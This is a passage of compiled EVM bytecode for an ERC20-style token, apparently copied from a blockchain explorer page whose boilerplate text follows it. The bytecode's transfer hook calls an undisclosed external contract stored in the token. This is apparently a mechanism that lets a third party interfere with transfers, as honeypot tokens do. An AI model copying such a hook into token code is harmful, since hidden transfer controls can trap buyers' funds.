02001908152602001600020546106eb9190611711565b6109e7565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054610751906114d5565b80601f016020809104026020016040519081016040528092919081815260200182805461077d906114d5565b80156107ca5780601f1061079f576101008083540402835291602001916107ca565b820191906000526020600020905b8154815290600101906020018083116107ad57829003601f168201915b5050505050905090565b600080600160006107e36109df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610897906117b7565b60405180910390fd5b6108bd6108ab6109df565b8585846108b891906116dd565b6109e7565b600191505092915050565b60006108dc6108d56109df565b8484610bb0565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109cc91906110ba565b60405180910390a3600190509392505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d90611849565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ac5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abc906118db565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ba391906110ba565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c169061196d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c85906119ff565b60405180910390fd5b610c99838383610dd3565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1690611a91565b60405180910390fd5b8181610d2b91906116dd565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dbb9190611711565b92505081905550610dcd848484610ed6565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610ed157600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637512c5a3848430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518663ffffffff1660e01b8152600401610e8c959493929190611ab1565b6020604051808303816000875af1158015610eab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecf91906115a7565b505b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610f15578082015181840152602081019050610efa565b60008484015250505050565b6000601f19601f8301169050919050565b6000610f3d82610edb565b610f478185610ee6565b9350610f57818560208601610ef7565b610f6081610f21565b840191505092915050565b60006020820190508181036000830152610f858184610f32565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610fcc82610fa1565b9050919050565b610fdc81610fc1565b8114610fe757600080fd5b50565b600081359050610ff981610fd3565b92915050565b6000819050919050565b61101281610fff565b811461101d57600080fd5b50565b60008135905061102f81611009565b92915050565b6000806040838503121561104c5761104b610f97565b5b600061105a85828601610fea565b925050602061106b85828601611020565b9150509250929050565b60008115159050919050565b61108a81611075565b82525050565b60006020820190506110a56000830184611081565b92915050565b6110b481610fff565b82525050565b60006020820190506110cf60008301846110ab565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61111282610f21565b810181811067ffffffffffffffff82111715611131576111306110da565b5b80604052505050565b6000611144610f8d565b90506111508282611109565b919050565b600067ffffffffffffffff8211156111705761116f6110da565b5b602082029050602081019050919050565b600080fd5b600061119961119484611155565b61113a565b905080838252602082019050602084028301858111156111bc576111bb611181565b5b835b818110156111e557806111d18882610fea565b8452602084019350506020810190506111be565b5050509392505050565b600082601f830112611204576112036110d5565b5b8135611214848260208601611186565b91505092915050565b600067ffffffffffffffff821115611238576112376110da565b5b602082029050602081019050919050565b600061125c6112578461121d565b61113a565b9050808382526020820190506020840283018581111561127f5761127e611181565b5b835b818110156112a857806112948882611020565b845260208401935050602081019050611281565b5050509392505050565b600082601f8301126112c7576112c66110d5565b5b81356112d7848260208601611249565b91505092915050565b600080600080600060a086880312156112fc576112fb610f97565b5b600061130a88828901610fea565b955050602086013567ffffffffffffffff81111561132b5761132a610f9c565b5b611337888289016111ef565b945050604086013567ffffffffffffffff81111561135857611357610f9c565b5b611364888289016112b2565b935050606086013567ffffffffffffffff81111561138557611384610f9c565b5b611391888289016112b2565b92505060806113a288828901610fea565b9150509295509295909350565b6000806000606084860312156113c8576113c7610f97565b5b60006113d686828701610fea565b93505060206113e786828701610fea565b92505060406113f886828701611020565b9150509250925092565b600060ff82169050919050565b61141881611402565b82525050565b6000602082019050611433600083018461140f565b92915050565b60006020828403121561144f5761144e610f97565b5b600061145d84828501610fea565b91505092915050565b6000806040838503121561147d5761147c610f97565b5b600061148b85828601610fea565b925050602061149c85828601610fea565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114ed57607f821691505b602082108103611500576114ff6114a6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b61153e81610fc1565b82525050565b60006060820190506115596000830186611535565b6115666020830185611535565b61157360408301846110ab565b949350505050565b61158481611075565b811461158f57600080fd5b50565b6000815190506115a18161157b565b92915050565b6000602082840312156115bd576115bc610f97565b5b60006115cb84828501611592565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061160e82610fff565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036116405761163f6115d4565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006116a7602883610ee6565b91506116b28261164b565b604082019050919050565b600060208201905081810360008301526116d68161169a565b9050919050565b60006116e882610fff565b91506116f383610fff565b925082820390508181111561170b5761170a6115d4565b5b92915050565b600061171c82610fff565b915061172783610fff565b925082820190508082111561173f5761173e6115d4565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006117a1602583610ee6565b91506117ac82611745565b604082019050919050565b600060208201905081810360008301526117d081611794565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611833602483610ee6565b915061183e826117d7565b604082019050919050565b6000602082019050818103600083015261186281611826565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006118c5602283610ee6565b91506118d082611869565b604082019050919050565b600060208201905081810360008301526118f4816118b8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611957602583610ee6565b9150611962826118fb565b604082019050919050565b600060208201905081810360008301526119868161194a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006119e9602383610ee6565b91506119f48261198d565b604082019050919050565b60006020820190508181036000830152611a18816119dc565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611a7b602683610ee6565b9150611a8682611a1f565b604082019050919050565b60006020820190508181036000830152611aaa81611a6e565b9050919050565b600060a082019050611ac66000830188611535565b611ad36020830187611535565b611ae06040830186611535565b611aed6060830185611535565b611afa60808301846110ab565b969550505050505056fea2646970667358221220347ae051908ce901225aa7a1cc233d22e0a9ffceb476fca4a4a3c18f14b43e7664736f6c63430008110033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.